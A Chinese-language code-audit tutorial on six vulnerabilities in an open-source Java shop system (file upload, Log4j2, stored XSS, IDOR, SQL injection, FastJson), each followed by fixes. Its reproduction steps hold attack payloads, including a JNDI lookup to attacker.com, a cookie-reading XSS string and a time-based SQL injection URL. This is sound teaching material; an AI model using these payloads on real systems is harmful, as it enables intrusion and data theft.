Java代码审计 | 一次开源商城系统
字数 1292 2025-08-29 08:30:30

Java开源商城系统安全审计教学文档

1. 任意文件上传漏洞

漏洞位置

  • 管理员后台文件上传接口:POST /tmall/admin/uploadCategoryImage

漏洞分析

后端代码无任何过滤措施:

@ResponseBody
@RequestMapping(value = "admin/uploadCategoryImage", method = RequestMethod.POST, produces = "application/json;charset=utf-8")
public String uploadCategoryImage(@RequestParam MultipartFile file, HttpSession session) {
    String originalFileName = file.getOriginalFilename();
    String extension = originalFileName.substring(originalFileName.lastIndexOf('.'));
    String fileName = UUID.randomUUID() + extension; // 使用UUID重命名
    String filePath = session.getServletContext().getRealPath("/res/images/item/categoryPicture/" + fileName);
    // 无文件类型检查,直接保存
    file.transferTo(new File(filePath));
}

漏洞复现

  1. 构造恶意JSP文件上传请求:
POST /tmall/admin/uploadCategoryImage HTTP/1.1
Content-Type: multipart/form-data; boundary=----geckoformboundary588f72b1e5cfda5e42dc2d49f3443c83

------geckoformboundary588f72b1e5cfda5e42dc2d49f3443c83
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: image/jpeg

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head><title>Hello World JSP</title></head>
<body>
<h1><%= "Hello, World!" %></h1>
<p>${"This is a JSP page."}</p>
</body>
</html>
------geckoformboundary588f72b1e5cfda5e42dc2d49f3443c83--

修复建议

  1. 限制上传文件类型白名单
  2. 检查文件内容而非仅扩展名
  3. 将上传文件存储在非web目录
  4. 禁用上传文件的执行权限

2. Log4j2漏洞

漏洞位置

  • 文件上传功能中的日志记录:
logger.info("文件上传路径:{}", filePath);

漏洞分析

  1. filePath包含用户可控的文件名
  2. 系统使用的Log4j2版本存在漏洞
  3. 可构造恶意文件名触发RCE

漏洞复现

构造包含JNDI注入payload的文件名:

${jndi:ldap://attacker.com/exploit}

修复建议

  1. 升级Log4j2至最新安全版本
  2. 对日志输出内容进行过滤
  3. 设置log4j2.formatMsgNoLookups=true

3. 存储型XSS漏洞

漏洞位置

  • 后台添加产品功能:POST /tmall/admin/product

漏洞分析

@ResponseBody
@RequestMapping(value = "admin/product", method = RequestMethod.POST)
public String addProduct(@RequestParam String product_name, ...) {
    // 直接使用用户输入,无任何过滤
    Product product = new Product().setProduct_name(product_name)...;
    productService.add(product);
}

漏洞复现

在产品名称中插入XSS payload:

<script>alert(document.cookie)</script>

修复建议

  1. 对所有用户输入进行HTML实体编码
  2. 使用Content Security Policy (CSP)
  3. 设置HttpOnly标志的cookie

4. 越权漏洞(任意账户密码修改)

漏洞位置

  • 管理员信息更新接口:PUT /tmall/admin/account/{admin_id}

漏洞分析

@RequestMapping(value = "admin/account/{admin_id}", method = RequestMethod.PUT)
public String updateAdmin(..., @PathVariable("admin_id") String admin_id) {
    Object adminId = checkAdmin(session); // 从session获取当前用户ID
    // 但修改时使用用户提供的admin_id而非session中的adminId
    Admin putAdmin = new Admin().setAdmin_id(Integer.valueOf(admin_id))...;
    adminService.update(putAdmin);
}

漏洞复现

  1. 正常修改密码请求:
PUT /tmall/admin/account/1 HTTP/1.1
...
admin_nickname=test&admin_password=123456&admin_newPassword=123456789
  1. 修改admin_id为其他用户ID:
PUT /tmall/admin/account/3 HTTP/1.1
...
admin_nickname=test&admin_password=123456&admin_newPassword=123456789

修复建议

  1. 修改操作时验证admin_id必须等于session中的用户ID
  2. 实现基于角色的访问控制(RBAC)
  3. 记录敏感操作日志

5. SQL注入漏洞

漏洞位置

  • 用户查询接口:GET /tmall/admin/user/{index}/{count}
  • 注入参数:orderBy

漏洞分析

@RequestMapping(value = "admin/user/{index}/{count}", method = RequestMethod.GET)
public String getUserBySearch(..., @RequestParam(required = false) String orderBy, ...) {
    OrderUtil orderUtil = null;
    if (orderBy != null) {
        orderUtil = new OrderUtil(orderBy, isDesc); // 直接拼接SQL
    }
    List<User> userList = userService.getList(user, orderUtil, pageUtil);
}

MyBatis中的不安全拼接:

<if test="orderUtil != null">
    ORDER BY ${orderUtil.order} ${orderUtil.isDesc ? "DESC" : "ASC"}
</if>

漏洞复现

构造恶意orderBy参数:

http://target/tmall/admin/user/0/10?orderBy=1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)

修复建议

  1. 使用预编译语句
  2. 避免直接拼接用户输入到SQL
  3. 对排序字段使用白名单验证

6. FastJson反序列化漏洞

漏洞位置

  • 产品添加功能中的JSON解析:
JSONObject object = JSON.parseObject(propertyJson);

漏洞分析

  1. 使用存在漏洞版本的FastJson
  2. 直接解析用户可控的JSON字符串
  3. 可构造恶意JSON触发RCE

漏洞复现

构造恶意propertyJson参数:

{
  "aa": {
    "@type": "java.net.Inet4Address",
    "val": "attacker.com"
  }
}

修复建议

  1. 升级FastJson至最新安全版本
  2. 使用JSON.parseObject(json, Feature.SafeMode)
  3. 限制反序列化的类白名单

综合修复方案

  1. 输入验证

    • 对所有用户输入实施严格验证
    • 使用白名单而非黑名单
  2. 安全编码

    • 避免直接拼接SQL、命令或文件路径
    • 使用预编译语句和参数化查询
  3. 权限控制

    • 实施最小权限原则
    • 所有敏感操作验证用户身份和权限
  4. 依赖管理

    • 定期更新第三方库
    • 移除不必要的依赖
  5. 安全配置

    • 禁用目录列表
    • 配置安全HTTP头
    • 限制文件上传类型和大小
  6. 日志监控

    • 记录所有敏感操作
    • 实施异常检测

通过全面实施这些安全措施,可显著提高系统的安全性,防止文中提到的各类漏洞被利用。

Java开源商城系统安全审计教学文档 1. 任意文件上传漏洞 漏洞位置 管理员后台文件上传接口: POST /tmall/admin/uploadCategoryImage 漏洞分析 后端代码无任何过滤措施: 漏洞复现 构造恶意JSP文件上传请求: 修复建议 限制上传文件类型白名单 检查文件内容而非仅扩展名 将上传文件存储在非web目录 禁用上传文件的执行权限 2. Log4j2漏洞 漏洞位置 文件上传功能中的日志记录: 漏洞分析 filePath 包含用户可控的文件名 系统使用的Log4j2版本存在漏洞 可构造恶意文件名触发RCE 漏洞复现 构造包含JNDI注入payload的文件名: 修复建议 升级Log4j2至最新安全版本 对日志输出内容进行过滤 设置 log4j2.formatMsgNoLookups=true 3. 存储型XSS漏洞 漏洞位置 后台添加产品功能: POST /tmall/admin/product 漏洞分析 漏洞复现 在产品名称中插入XSS payload: 修复建议 对所有用户输入进行HTML实体编码 使用Content Security Policy (CSP) 设置HttpOnly标志的cookie 4. 越权漏洞(任意账户密码修改) 漏洞位置 管理员信息更新接口: PUT /tmall/admin/account/{admin_id} 漏洞分析 漏洞复现 正常修改密码请求: 修改admin_ id为其他用户ID: 修复建议 修改操作时验证 admin_id 必须等于session中的用户ID 实现基于角色的访问控制(RBAC) 记录敏感操作日志 5. SQL注入漏洞 漏洞位置 用户查询接口: GET /tmall/admin/user/{index}/{count} 注入参数: orderBy 漏洞分析 MyBatis中的不安全拼接: 漏洞复现 构造恶意orderBy参数: 修复建议 使用预编译语句 避免直接拼接用户输入到SQL 对排序字段使用白名单验证 6. FastJson反序列化漏洞 漏洞位置 产品添加功能中的JSON解析: 漏洞分析 使用存在漏洞版本的FastJson 直接解析用户可控的JSON字符串 可构造恶意JSON触发RCE 漏洞复现 构造恶意propertyJson参数: 修复建议 升级FastJson至最新安全版本 使用 JSON.parseObject(json, Feature.SafeMode) 限制反序列化的类白名单 综合修复方案 输入验证 : 对所有用户输入实施严格验证 使用白名单而非黑名单 安全编码 : 避免直接拼接SQL、命令或文件路径 使用预编译语句和参数化查询 权限控制 : 实施最小权限原则 所有敏感操作验证用户身份和权限 依赖管理 : 定期更新第三方库 移除不必要的依赖 安全配置 : 禁用目录列表 配置安全HTTP头 限制文件上传类型和大小 日志监控 : 记录所有敏感操作 实施异常检测 通过全面实施这些安全措施,可显著提高系统的安全性,防止文中提到的各类漏洞被利用。